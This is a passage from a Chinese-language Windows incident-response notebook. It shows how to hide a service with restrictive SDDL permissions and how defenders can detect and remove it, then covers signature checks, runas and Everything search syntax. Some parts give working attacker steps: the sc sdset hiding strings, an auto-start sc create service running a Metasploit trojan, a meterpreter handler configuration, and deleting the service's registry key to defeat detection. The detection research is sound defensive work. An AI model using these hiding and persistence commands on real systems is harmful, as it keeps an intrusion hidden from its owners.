这部分主要指通过配置访问控制策略来实现隐藏的方式,通过修改内存链表的方式隐藏暂时不包含
1. 创建服务¶
直接选择默认的 XblGameSave
服务,这个服务为 Xbox Live
可保存游戏同步保存数据。如果此服务被停止,游戏保存数据将不会上传至 Xbox Live
或从 Xbox Live
下载。
2. 查询服务权限设置¶
D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
这是一段 安全描述符定义语言(Security Descriptor Definition Language | SDDL
)
具体含义可以参考
https://learn.microsoft.com/zh-cn/windows/win32/secauthz/security-descriptor-string-format
https://learn.microsoft.com/zh-cn/windows/win32/secauthz/ace-strings
https://learn.microsoft.com/zh-cn/windows/win32/services/service-security-and-access-rights
可以通过一些 SDDL
解析工具进行查看
https://github.com/canix1/SDDL-Converter
是一个 Powershell
脚本,右键执行
将 SDDL
放到其中进行解析
这样看起来比较直观
3. 修改服务权限设置¶
sc sdset "XblGameSave" "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
4. 测试隐藏效果¶
1) services.msc
¶
2) sc¶
可以看到,常规检查的时候,无法直接看到 XblGameSave
通过 sc query
指定名称查找显示的是 拒绝访问
通过 sc qc
指定名称查找能够显示出正常内容
如果常规方式看不到,应急响应人员也无法知晓该活动的名称,也就无法查询到
3) PowerShell¶
指定名称查询都显示找不到任何服务
4) wmic¶
wmic service | findstr "XblGameSave"
wmic service where "Name='XblGameSave'" get Name, DisplayName, Description
5) System Informer¶
https://systeminformer.sourceforge.io/
Process Hacker 的升级版
也看不到
6) 注册表¶
可以看到,注册表能够看到该服务,此时注册表多了一项 Security
但是不只这一个注册表有 Security
,所以也不好粗暴地作为评判依据
5. 思考排查方法¶
方法一 枚举法
按照计划任务隐藏时候的思路,先看一下 sc query
查询不存在的服务时报错是什么
这里就可以看出区别,当然,完全可以用 sc qc
查询做对比,可能更好
这样的话,可以将注册表遍历一遍,之后获取服务名称,挨个查询,看看有没有拒绝访问的,这样就可以测试出是否存在隐藏的服务。当然,这前提是注册表有访问权限,如果攻击者额外设置了注册表权限,可以先取消注册表权限
方法二 高权限查看法
这种隐藏方式无非就是谁可以看,谁不可以看,在 Linux 中,几乎所有的限制对 root
都没用,我们分析一下刚才的权限设置
这里似乎对 SYSTEM
并没有限制,那我们使用 SYSTEM
权限执行这些常规检查是否可以看到呢
6. 枚举法¶
思路就是先获取注册表中服务名称,之后通过 sc query
进行查询,根据反馈进行判断
$services = Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Services" | ForEach-Object { $_.PSChildName }
$maliciousServices = foreach ($service in $services) {
$queryOutput = sc.exe query $service 2>&1
if ($queryOutput -like "*拒绝访问*") {
$configOutput = sc.exe qc $service
[PSCustomObject]@{
ServiceName = $service
Status = "拒绝访问"
Config = $configOutput
}
}
}
if ($maliciousServices) {
Write-Host "发现以下恶意服务:"
$maliciousServices | Format-Table -AutoSize -Property ServiceName, Status
foreach ($service in $maliciousServices) {
Write-Host "--------------------------------------------------"
Write-Host "Service Name: $($service.ServiceName)"
Write-Host "Status: $($service.Status)"
Write-Host "Service Config:"
$configLines = $service.Config -split "`n"
$configLines | ForEach-Object {
$configLine = $_.Trim()
if ($configLine -ne "" -and $configLine -notlike "[*]*") {
Write-Host $configLine
}
}
Write-Host "--------------------------------------------------"
}
} else {
Write-Host "未发现恶意服务."
}
当然了,这是美化后的,如果你想简单一些,直接用下面的几行就够了
$services = Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Services" | ForEach-Object { $_.PSChildName }
foreach ($service in $services) {
$queryOutput = sc.exe query $service 2>&1
if ($queryOutput -like "*拒绝访问*") {
Write-Output $service
}
}
7. 高权限法¶
通过 PsExec64.exe
来获取 SYSTEM
权限
PsExec64.exe
是SysinternalsSuite
套件中一款工具https://learn.microsoft.com/zh-cn/sysinternals/downloads/sysinternals-suite
PsExec
似乎会导致输入法部分功能出现问题
尝试通过 SYSTEM
权限的 cmd
进行查询
sc
看不到隐藏的服务
尝试通过 SYSTEM
启动 services.msc
services.msc
看不到
Powershell
看不到
wmic
看不到
创建低权限的用户组和新用户也不行
看来高权限法不行
8. 删除服务¶
经过枚举法,已经获取到服务名称,现在通过 sc sdset
设置权限
sc sdset "XblGameSave" "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
这样就可以通过 services.msc
进行管理了
删除服务
9. 如果删除注册表文件夹会怎么样¶
1) 创建服务¶
这次使用 msf
生成一个服务木马来模拟服务
注意,这里指定的文件类型是 exe-service
,MSF
专门为服务准备的一类木马,中文资料上提到这个事极少
2) 创建服务¶
sc create test binPath= "C:\Users\Administrator\Desktop\bind.exe" start= auto depend= Tcpip obj= Localsystem
创建一个名为 test
的服务,开机自启动执行木马程序,监听 4455
端口
启动服务测试一下
3) MSF 连接木马¶
msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set rhost 10.211.55.6
set lport 4455
exploit
服务已经正常启动,关闭连接,重启受害服务器,无用户登录状态下再次尝试连接
再次获取 shell
,服务自启动没问题
4) 观察 MSF 服务情况¶
再次重启服务器,登录后查看服务信息如下
从服务来看 test
服务已经停止了
从进程角度来看
没有主动监听shell
相关进程
通过 MSF
进行连接
服务监听是存在的
从网络层面看
可以看到 MSF
与受害主机之间的连接
通过 wmic
查看详细情况
这样看来 exe-service
生成的是一个 dll
文件
5) 通过 SDDL 设置隐藏服务¶
sc sdset "test" "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
此时已经 Services.msc
已经看不到 test
服务了,这个上面我们已经测试过了
获得的 shell
不受影响
6) 尝试删除注册表项¶
尝试在 Meterpreter
中远程完成删除
注册表项成功被删除,这下我们原来的脚本应该也查不到隐藏的服务了
服务不受影响,这个看了上一篇文章的朋友们肯定有预期了,修改注册表对服务来说会在下次启动的时候才会有作用
-
sc qc
进行查询显示找不到指定的文件 -
sc query
显示还是拒绝访问
尝试重启服务器
服务已经不存在了
10. 思考排查方法¶
一般攻击者使用服务都是做持久化控制的,删掉注册表来对抗隐藏不是常规的思路,但是毕竟大家面对的也不是一群常规的人,如果真的是出现了这种奇葩,该如何进行检测呢?
注册表已经没了,现在还保存着服务列表信息的就只有内存里了吧
1) 进程角度¶
服务终究还是会产生一个或多个进程,按照它要实现的功能在内存空间执行,这就属于常规角度了
当然,可以把 Rundll32.exe
作为一个标志,很多安全软件也是这么做的,但是它的启动参数没有指定恶意 DLL
位置,而且感觉不太严谨
2) 日志查询¶
通过日志 Windows 日志 -> 系统
其中来源为 Service Control Manager
的日志会记录服务的创建与执行
3) Windows API¶
如果 Windows API
呢
#include <iostream>
#include <windows.h>
#include <winsvc.h>
int main()
{
SC_HANDLE schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ENUMERATE_SERVICE);
if (schSCManager == NULL)
{
std::cout << "Failed to open Service Control Manager." << std::endl;
return 1;
}
DWORD dwBytesNeeded, dwServicesReturned, dwResumeHandle = 0;
EnumServicesStatusEx(
schSCManager,
SC_ENUM_PROCESS_INFO,
SERVICE_TYPE_ALL,
SERVICE_STATE_ALL,
NULL,
0,
&dwBytesNeeded,
&dwServicesReturned,
&dwResumeHandle,
NULL
);
LPENUM_SERVICE_STATUS_PROCESS lpServices = (LPENUM_SERVICE_STATUS_PROCESS)malloc(dwBytesNeeded);
if (lpServices == NULL)
{
std::cout << "Failed to allocate memory." << std::endl;
CloseServiceHandle(schSCManager);
return 1;
}
if (!EnumServicesStatusEx(
schSCManager,
SC_ENUM_PROCESS_INFO,
SERVICE_TYPE_ALL,
SERVICE_STATE_ALL,
(LPBYTE)lpServices,
dwBytesNeeded,
&dwBytesNeeded,
&dwServicesReturned,
&dwResumeHandle,
NULL
))
{
std::cout << "Failed to enumerate services." << std::endl;
free(lpServices);
CloseServiceHandle(schSCManager);
return 1;
}
std::cout << "Services:" << std::endl;
for (DWORD i = 0; i < dwServicesReturned; i++)
{
std::wstring serviceName(lpServices[i].lpServiceName);
std::wcout << serviceName << std::endl;
}
free(lpServices);
CloseServiceHandle(schSCManager);
return 0;
}
经过实验, Windows API
获取不到,即使是 SYSTEM
权限也查询不到
4) sc¶
sc
的命令报错意味着其实 sc
是可以知道 test
的存在的
但是这里有个问题
- 一种情况是
sc
能够获取到服务列表,之后查询test
是否存在 - 一种情况是
sc
获取不到服务列表,但是可以将服务名称提交,之后返回信息
如果是第一种情况的话,我们可以直接获取到列表,如果是第二种情况,我们只能暴力枚举
由于 Windows
并不开源,我们无法直接知道 sc
到底是怎么做的
5) 通过内存获取¶
查阅一些资料后得知,服务信息应该归 SCM
来管,具体落到进程上就是 services.exe
但是经过一堆尝试,并没有找到好的方式来从内存中获取服务列表信息
11. 删除服务¶
只通过 SDDL
进行隐藏的服务恶意直接按照文中的方法,重新赋权,就可以删除或停止了
对于进行了 SDDL
同时删除了注册表项的服务,需要通过重启来进行删除
0x13 如何验证程序签名¶
1. 文件属性对话框¶
2. PoweShell¶
3. Sigcheck¶
Sigcheck 由微软Sysinternals套件提供,这是一个命令行实用程序,用于显示PE文件(如EXE、DLL、SYS等)的详细信息,包括其数字签名状态。下载地址:https://docs.microsoft.com/sysinternals/downloads/sigcheck
0x14 如何以其他用户执行命令¶
在Windows Server 2016中,没有与Linux的su
命令完全等价的功能。不过,Windows提供了几种方式来切换用户或获取其他用户的权限执行任务
但是这里有一个明显区别: Windows 中 runas 命令即使是system权限切换到普通用户也需要输入普通用户的密码
Runas 命令¶
runas
是Windows内置的一个命令行工具,可以用来以另一个用户的身份运行程序。例如:
这会提示输入所指定用户的密码,然后以该用户身份运行指定的程序。
0x15 Everything 语法¶
操作符:
space 与 (AND)
| 或 (OR)
! 非 (NOT)
< > 分组
" " 搜索引号内的词组.
通配符:
* 匹配 0 个或多个字符.
? 匹配 1 个字符.
宏:
quot: 双引号 (")
apos: 单引号 (')
amp: 与号 (&)
lt: 小于 (<)
gt: 大于 (>)
#<n>: 十进制 Unicode 字符 <n>.
#x<n>: 十六进制 Unicode 字符 <n>.
audio: 搜索音频文件.
zip: 搜索压缩文件.
doc: 搜索文档文件.
exe: 搜索可执行文件.
pic: 搜索图片文件.
video: 搜索视频文件.
修饰符:
ascii: 启用快速 ASCII 大小写对比.
case: 区分大小写.
diacritics: 匹配变音标记.
file: 仅匹配文件.
folder: 仅匹配文件夹.
noascii: 禁用快速 ASCII 大小写对比.
nocase: 不区分大小写.
nodiacritics: 不匹配变音标记.
nofileonly: 仅不允许文件.
nofolderonly: 仅不允许文件夹.
nopath: 不匹配路径.
noregex: 禁用正则表达式.
nowfn: 不匹配完整文件名.
nowholefilename: 不匹配完整文件名.
nowholeword: 仅禁用全字匹配.
nowildcards: 禁用通配符.
noww: 仅禁用全字匹配.
path: 匹配路径和文件名.
regex: 启用正则表达式.
utf8: 禁用快速 ASCII 大小写对比.
wfn: 匹配完整文件名.
wholefilename: 匹配完整文件名.
wholeword: 仅匹配全字符.
wildcards: 启用通配符.
ww: 仅全字匹配.
函数:
album:<text> 搜索媒体专辑元数据.
ansicontent:<text> 搜索 ANSI 格式文本内容.
artist:<text> 搜索媒体艺术家元数据.
attrib:<attributes> 搜索指定的文件属性的文件和文件夹.
attribdupe: 搜索含有相同属性的文件和文件夹.
attributes:<attributes> 搜索指定的文件属性的文件和文件夹.
bitdepth:<bitdepth> 搜索指定像素密度的图片.
child:<filename> 搜索包含匹配文件名文件的文件夹.
childcount:<count> 搜索包含有指定数目子文件夹或文件的文件夹.
childfilecount:<count> 搜索包含有指定数目文件的文件夹.
childfoldercount:<n> 搜索包含有指定数目子文件的文件夹.
comment:<text> 搜索媒体注释元数据.
content:<text> 搜索文本内容.
count:<max> 指定搜索结果最大值.
dateaccessed:<date> 搜索指定访问时间的文件和文件夹.
datecreated:<date> 搜索指定创建日期的文件和文件夹.
datemodified:<date> 搜索指定修改日期的文件和文件夹.
daterun:<date> 搜索指定打开时间的文件和文件夹.
da:<date> 搜索指定访问时间的文件和文件夹.
dadupe: 搜索含有相同访问时间的文件和文件夹.
dc:<date> 搜索指定创建日期的文件和文件夹.
dcdupe: 搜索含有相同创建时间的文件和文件夹.
dimensions:<w>X<h> 搜索指定长宽的图片.
dm:<date> 搜索指定修改日期的文件和文件夹.
dmdupe: 搜索含有相同修改时间的文件和文件夹.
dr:<date> 搜索指定打开时间的文件和文件夹.
dupe: 搜索重复的文件名.
empty: 搜索空文件夹.
endwith:<text> 搜索以指定文本结尾的文件 (包含扩展名).
ext:<ext1;ext2;...> 搜索和列表中指定的扩展名匹配的文件 (扩展名以分号分隔).
filelist:<fn1|fn2|...> 搜索文件名列表中的文件.
filelistfilename:<name> 搜索文件名列表中的文件和文件夹.
frn:<frn> 搜索指定文件索引号的文件和文件夹.
fsi:<index> 搜索指定盘符索引中文件或文件夹 (索引 0 表示 C 盘, 以此类推).
genre:<text> 搜索媒体流派元数据.
height:<height> 搜索指定像素高度的图片.
infolder:<path> 搜索指定路径下的文件和文件夹 (不包含子文件夹).
len:<length> 搜索和指定的文件名长度相匹配的文件和文件夹.
namepartdupe: 搜索含有相同名称部分的文件和文件夹.
orientation:<type> 搜索指定方向的图片 (水平或竖直).
parent:<path> 搜索指定路径下的文件和文件夹 (不包含子文件夹).
parents:<count> 搜索有指定数目父文件夹的文件和文件夹.
rc:<date> 搜索指定最近修改日期的文件和文件夹.
recentchange:<date> 搜索指定最近修改日期的文件和文件夹.
root: 搜索没有父文件夹的文件和文件夹.
runcount:<count> 搜索指定打开次数的文件和文件夹.
shell:<name> 搜索已知的 Shell 文件夹名称, 包括子目录和文件.
size:<size> 搜索指定大小的文件 (以字节为单位).
sizedupe: 搜索大小重复的文件.
startwith:<text> 搜索指定文本开头的文件.
title:<text> 搜索媒体标题元数据.
track:<number> 搜索指定音轨号的媒体文件.
type:<type> 搜索指定的文件类型的文件和文件夹.
utf16content:<text> 搜索 UTF-16 格式文本内容.
utf16becontent:<text> 搜索 UTF-16 BE 格式文本内容.
utf8content:<text> 搜索 UTF-8 格式文本内容.
width:<width> 搜索指定像素宽度的图片.
函数语法:
function:value 等于某设定值.
function:<=value 小于等于某设定值.
function:<value 小于某设定值.
function:=value 等于某设定值.
function:>value 大于某设定值.
function:>=value 大于等于某设定值.
function:start..end 在起始值和终止值的范围内.
function:start-end 在起始值和终止值的范围内.
大小语法:
size[kb|mb|gb]
大小常数:
empty
tiny 0 KB < 大小 <= 10 KB
small 10 KB < 大小 <= 100 KB
medium 100 KB < 大小 <= 1 MB
large 1 MB < 大小 <= 16 MB
huge 16 MB < 大小 <= 128 MB
gigantic 大小 > 128 MB
unknown
日期语法:
year
month/year 或者 year/month 取决于本地设置
day/month/year, month/day/year 或者 year/month/day 取决于本地设置
YYYY[-MM[-DD[Thh[:mm[:ss[.sss]]]]]]
YYYYMM[DD[Thh[mm[ss[.sss]]]]]
日期常数:
today
yesterday
tomorrow
<last|past|prev|current|this|coming|next><year|month|week>
<last|past|prev|coming|next><x><years|months|weeks|days|hours|minutes|mins|seconds|secs>
january|february|march|april|may|june|july|august|september|october|november|december
jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec
sunday|monday|tuesday|wednesday|thursday|friday|saturday
sun|mon|tue|wed|thu|fri|sat
unknown
属性常数:
A 存档
C 压缩
D 目录
E 加密
H 隐藏
I 未索引的内容
L 重解析点
N 一般
O 离线
P 稀疏文件
R 只读
S 系统
T 临时
V 设备